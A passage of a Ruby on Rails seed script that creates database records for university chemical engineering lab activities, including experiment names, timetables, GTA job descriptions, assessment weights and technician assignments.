TH5 (check Armfield website for details). Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a404.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a404.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a404.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a405 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"113\").first_or_create!(name: \"Experiment F1: Determination of the activation energy for the iodine clock reaction\",\n name_abrv: \"F1\", archived: false, in_drive: false, user_id: 4)\n at405 = ActivityTimetable.where(activity_id: a405.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a405.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hk9uttd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a405.id).first_or_create!(criteria: \"Interest/experience would suit people with chemistry backgrounds. This involves running a number of experiments at different temperatures and determining the reaction time. It is based on the \\\"iodine clock reaction\\\", where the reaction time is determined from a sudden change in colour.\",\n job_desc:\"Supervising groups of students using \\\"typical\\\" lab equipment: chemicals, test tubes, water baths and stirrers. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a405.id).first_or_create!(assess_weight: 3.33, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a405.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a405.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a406 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"114\").first_or_create!(name: \"Experiment P1: PVT properties of an ideal gas\",\n name_abrv: \"P1\", archived: false, in_drive: false, user_id: 1)\n at406 = ActivityTimetable.where(activity_id: a406.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a406.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/omrcc26\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a406.id).first_or_create!(criteria: \"Interest/experience in physical chemistry and pressure measurement. The equipment is considered small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using a simple glass tube/hand-pump combination. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA will be required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a406.id).first_or_create!(assess_weight: 2.5, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a406.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a406.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a407 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"115\").first_or_create!(name: \"Experiment P2: Investigation of a bomb calorimeter\",\n name_abrv: \"P2\", archived: false, in_drive: false, user_id: 5)\n at407 = ActivityTimetable.where(activity_id: a407.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a407.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/o9bkozv\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a407.id).first_or_create!(criteria: \"Interest/experience in combustion, heat transfer and thermodynamics. This is quite a hands-on experiment since it involves dealing with gas cylinders as well.\",\n job_desc:\"Supervising groups of students using an Anton-Parr bomb calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a407.id).first_or_create!(assess_weight: 3.33, notes: \"Post lab quiz prefered, as in previous years. This has previously been carried out by way of a 1-side assignment.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a407.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a407.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a408 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE150\").first.id, code: \"116\").first_or_create!(name: \"Experiment P3: Investigation of a solution calorimeter\",\n name_abrv: \"P3\", archived: false, in_drive: false, user_id: 3)\n at408 = ActivityTimetable.where(activity_id: a408.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 13, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a408.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hpdgh7k\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a408.id).first_or_create!(criteria: \"Interest/experience in making solutions, operating small mixers and data acquisition (National Instruments). This is quite a hands-on experiment since it involves putting equipment together as well as running the equipment.\",\n job_desc:\"Supervising groups of students using an in-house solution calorimeter. Training will be provided for the experiment and also for the marking. Typically up to two GTAs will be required. Model solutions provided for marking. Only one GTA required for marking.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a408.id).first_or_create!(assess_weight: 3.33, notes: \"As in previous years.Completed numerical analysis sheet and graphical plot of data.\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a408.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a408.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a409 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"117\").first_or_create!(name: \"Exp 1: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at409 = ActivityTimetable.where(activity_id: a409.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a409.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a409.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a409.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a409.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a409.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a410 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE140\").first.id, code: \"118\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3\", archived: false, in_drive: false, user_id: 5)\n at410 = ActivityTimetable.where(activity_id: a410.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a410.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hbd2b4p\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a410.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a410.id).first_or_create!(assess_weight: 10.0, notes: \"Post-lab quiz or short assignment? Currently this is carried out using a short 1-side assignment consiting of three questions.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a410.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a410.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a411 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"431\").first_or_create!(name: \"Motion of spheres through liquids\",\n name_abrv: \"SPHERES\", archived: false, in_drive: false, user_id: 2)\n at411 = ActivityTimetable.where(activity_id: a411.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a411.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jatar4g\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a411.id).first_or_create!(criteria: \"Knowledge of stokes's drag law, viscosity, terminal velocity\",\n job_desc:\"Using the UoS large vertical drag tubes, balls of various sizes and materials are dropped through liquids of different viscosity. The traversal time is recorded and the material density is calculated for each ball based on a series of equations.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a411.id).first_or_create!(assess_weight: 5.0, notes: \"This is a five-question MOLE test to check understanding of the experiment\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a411.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a411.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a412 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"120\").first_or_create!(name: \"Particle Motion in Liquid Columns\",\n name_abrv: \"S4\", archived: true, in_drive: false, user_id: 1)\n at412 = ActivityTimetable.where(activity_id: a412.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a412.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a412.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a412.id).first_or_create!(assess_weight: 5.0, notes: \"This is the first occasion on which MJH has used a MOLE test as a post-lab\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a412.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a412.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a413 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"121\").first_or_create!(name: \"Investigation of ion exchange\",\n name_abrv: \"FY4\", archived: false, in_drive: false, user_id: 3)\n at413 = ActivityTimetable.where(activity_id: a413.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 9, max_week_num: 9, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a413.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a413.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a413.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a413.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a413.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a414 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"122\").first_or_create!(name: \"Introduction to Electrochemistry\",\n name_abrv: \"FY5\", archived: false, in_drive: false, user_id: 3)\n at414 = ActivityTimetable.where(activity_id: a414.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 11, max_week_num: 11, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a414.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a414.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a414.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a414.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a414.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a415 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"123\").first_or_create!(name: \"Water of Crystallisation\",\n name_abrv: \"FY3\", archived: false, in_drive: false, user_id: 4)\n at415 = ActivityTimetable.where(activity_id: a415.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 7, max_week_num: 7, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a415.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a415.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a415.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a415.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a415.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a416 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"124\").first_or_create!(name: \"Working with Solutions\",\n name_abrv: \"FY1\", archived: false, in_drive: false, user_id: 5)\n at416 = ActivityTimetable.where(activity_id: a416.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 2, max_week_num: 2, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a416.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a416.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a416.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a416.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a416.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a417 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"125\").first_or_create!(name: \"Exp 2: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at417 = ActivityTimetable.where(activity_id: a417.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a417.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a417.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a417.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a417.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a417.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a418 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"126\").first_or_create!(name: \"Exp2: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at418 = ActivityTimetable.where(activity_id: a418.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a418.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a418.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a418.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a418.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a418.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a419 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"127\").first_or_create!(name: \"Exp 2: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at419 = ActivityTimetable.where(activity_id: a419.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 11, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a419.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a419.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a419.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a419.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a419.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a420 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"128\").first_or_create!(name: \"Mixing of Liquids\",\n name_abrv: \"E3 GEE\", archived: false, in_drive: false, user_id: 4)\n at420 = ActivityTimetable.where(activity_id: a420.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a420.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a420.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a420.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 1)\n ActivityTech.where(activity_id: a420.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a420.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a421 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR336\").first.id, code: \"200\").first_or_create!(name: \"Ceramics 1\",\n name_abrv: \"Ceramics 1\", archived: false, in_drive: false, user_id: 5)\n at421 = ActivityTimetable.where(activity_id: a421.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a421.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a421.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a421.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a421.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a421.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a422 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT377\").first.id, code: \"307\").first_or_create!(name: \"Schottky lab for MAT\",\n name_abrv: \"SCHOTTKY - MAT\", archived: false, in_drive: false, user_id: 5)\n at422 = ActivityTimetable.where(activity_id: a422.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: nil, max_week_num: nil, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a422.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"MAT Schottky\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a422.id).first_or_create!(criteria: \"Experience with chemical processing (preferably, but not necessarily in clean room). Knowledge of basic testing of devices (IV).\",\n job_desc:\"Assist undergraduate students to make and test a Schottky diode in the Diamond clean room.\", jobshop_desc: \"GTA in MEE, the Diamond: Clean Room\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a422.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a422.id).first_or_create!(cost_per_student: nil, equip_needed: \"All equipment 